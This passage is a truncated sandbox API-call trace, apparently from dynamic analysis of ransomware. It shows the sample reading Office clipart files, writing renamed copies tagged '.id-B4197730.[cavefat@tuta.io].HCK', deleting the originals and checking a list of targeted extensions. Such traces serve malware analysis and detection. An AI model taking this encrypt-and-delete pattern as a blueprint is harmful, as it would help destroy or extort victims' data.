dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.757] SetEndOfFile (hFile=0x368) returned 1 [0178.759] CloseHandle (hObject=0x368) returned 1 [0178.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf")) returned 1 [0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.762] lstrlenW (lpString=".doc") returned 4 [0178.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.762] lstrlenW (lpString=".docx") returned 5 [0178.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.762] lstrlenW (lpString=".pdf") returned 4 [0178.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.762] lstrlenW (lpString=".xls") returned 4 [0178.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.762] lstrlenW (lpString=".xlsx") returned 5 [0178.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.762] lstrlenW (lpString=".ppt") returned 4 [0178.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.762] lstrlenW (lpString=".zip") returned 4 [0178.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.762] lstrlenW (lpString=".rar") returned 4 [0178.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.762] lstrlenW (lpString=".bz2") returned 4 [0178.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.762] lstrlenW (lpString=".7z") returned 3 [0178.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.762] lstrlenW (lpString=".dbf") returned 4 [0178.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.762] lstrlenW (lpString=".1cd") returned 4 [0178.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.762] lstrlenW (lpString=".jpg") returned 4 [0178.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.763] lstrlenW (lpString=".doc") returned 4 [0178.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.763] lstrlenW (lpString=".docx") returned 5 [0178.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.763] lstrlenW (lpString=".pdf") returned 4 [0178.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.763] lstrlenW (lpString=".xls") returned 4 [0178.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.763] lstrlenW (lpString=".xlsx") returned 5 [0178.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.763] lstrlenW (lpString=".ppt") returned 4 [0178.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.763] lstrlenW (lpString=".zip") returned 4 [0178.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.763] lstrlenW (lpString=".rar") returned 4 [0178.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.763] lstrlenW (lpString=".bz2") returned 4 [0178.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.763] lstrlenW (lpString=".7z") returned 3 [0178.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.763] lstrlenW (lpString=".dbf") returned 4 [0178.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.763] lstrlenW (lpString=".1cd") returned 4 [0178.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 68 [0178.763] lstrlenW (lpString=".jpg") returned 4 [0178.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.763] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.763] lstrlenW (lpString="NA02091_.WMF") returned 12 [0178.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.765] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1140) returned 1 [0178.765] CloseHandle (hObject=0x2fc) returned 1 [0178.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf")) returned 0x220 [0178.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.769] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.769] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.774] GetLastError () returned 0x0 [0178.774] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x474, lpOverlapped=0x0) returned 1 [0178.775] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x480, lpOverlapped=0x0) returned 1 [0178.775] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.776] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.776] SetEndOfFile (hFile=0x39c) returned 1 [0178.778] CloseHandle (hObject=0x39c) returned 1 [0178.780] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.780] SetEndOfFile (hFile=0x368) returned 1 [0178.782] CloseHandle (hObject=0x368) returned 1 [0178.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf")) returned 1 [0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.786] lstrlenW (lpString=".doc") returned 4 [0178.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.786] lstrlenW (lpString=".docx") returned 5 [0178.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.786] lstrlenW (lpString=".pdf") returned 4 [0178.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.786] lstrlenW (lpString=".xls") returned 4 [0178.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.786] lstrlenW (lpString=".xlsx") returned 5 [0178.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.786] lstrlenW (lpString=".ppt") returned 4 [0178.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.786] lstrlenW (lpString=".zip") returned 4 [0178.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.786] lstrlenW (lpString=".rar") returned 4 [0178.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.786] lstrlenW (lpString=".bz2") returned 4 [0178.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.786] lstrlenW (lpString=".7z") returned 3 [0178.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.786] lstrlenW (lpString=".dbf") returned 4 [0178.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.786] lstrlenW (lpString=".1cd") returned 4 [0178.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.786] lstrlenW (lpString=".jpg") returned 4 [0178.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.787] lstrlenW (lpString=".doc") returned 4 [0178.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.787] lstrlenW (lpString=".docx") returned 5 [0178.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.787] lstrlenW (lpString=".pdf") returned 4 [0178.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.787] lstrlenW (lpString=".xls") returned 4 [0178.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.787] lstrlenW (lpString=".xlsx") returned 5 [0178.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.787] lstrlenW (lpString=".ppt") returned 4 [0178.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.787] lstrlenW (lpString=".zip") returned 4 [0178.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.787] lstrlenW (lpString=".rar") returned 4 [0178.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.787] lstrlenW (lpString=".bz2") returned 4 [0178.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.787] lstrlenW (lpString=".7z") returned 3 [0178.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.787] lstrlenW (lpString=".dbf") returned 4 [0178.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.787] lstrlenW (lpString=".1cd") returned 4 [0178.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 68 [0178.787] lstrlenW (lpString=".jpg") returned 4 [0178.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.787] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.787] lstrlenW (lpString="NA02125_.WMF") returned 12 [0178.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.790] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=18454) returned 1 [0178.790] CloseHandle (hObject=0x300) returned 1 [0178.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf")) returned 0x220 [0178.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.797] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.797] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.799] GetLastError () returned 0x0 [0178.799] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4816, lpOverlapped=0x0) returned 1 [0178.801] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4820, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4820, lpOverlapped=0x0) returned 1 [0178.801] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.801] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.802] SetEndOfFile (hFile=0x300) returned 1 [0178.804] CloseHandle (hObject=0x300) returned 1 [0178.805] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.805] SetEndOfFile (hFile=0x368) returned 1 [0178.808] CloseHandle (hObject=0x368) returned 1 [0178.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf")) returned 1 [0178.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.810] lstrlenW (lpString=".doc") returned 4 [0178.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.810] lstrlenW (lpString=".docx") returned 5 [0178.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.810] lstrlenW (lpString=".pdf") returned 4 [0178.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.810] lstrlenW (lpString=".xls") returned 4 [0178.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.810] lstrlenW (lpString=".xlsx") returned 5 [0178.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.810] lstrlenW (lpString=".ppt") returned 4 [0178.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.810] lstrlenW (lpString=".zip") returned 4 [0178.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.810] lstrlenW (lpString=".rar") returned 4 [0178.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.810] lstrlenW (lpString=".bz2") returned 4 [0178.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString=".7z") returned 3 [0178.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString=".dbf") returned 4 [0178.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString=".1cd") returned 4 [0178.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString=".jpg") returned 4 [0178.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString=".doc") returned 4 [0178.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString=".docx") returned 5 [0178.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.811] lstrlenW (lpString=".pdf") returned 4 [0178.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString=".xls") returned 4 [0178.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.811] lstrlenW (lpString=".xlsx") returned 5 [0178.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.811] lstrlenW (lpString=".ppt") returned 4 [0178.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString=".zip") returned 4 [0178.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.811] lstrlenW (lpString=".rar") returned 4 [0178.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString=".bz2") returned 4 [0178.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString=".7z") returned 3 [0178.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString=".dbf") returned 4 [0178.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString=".1cd") returned 4 [0178.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 68 [0178.811] lstrlenW (lpString=".jpg") returned 4 [0178.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.811] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.811] lstrlenW (lpString="NA02264_.WMF") returned 12 [0178.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.815] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2272) returned 1 [0178.815] CloseHandle (hObject=0x368) returned 1 [0178.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf")) returned 0x220 [0178.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.822] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.822] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.829] GetLastError () returned 0x0 [0178.829] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8e0, lpOverlapped=0x0) returned 1 [0178.831] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8f0, lpOverlapped=0x0) returned 1 [0178.832] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.832] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.832] SetEndOfFile (hFile=0x2fc) returned 1 [0178.834] CloseHandle (hObject=0x2fc) returned 1 [0178.835] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.835] SetEndOfFile (hFile=0x368) returned 1 [0178.837] CloseHandle (hObject=0x368) returned 1 [0178.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft 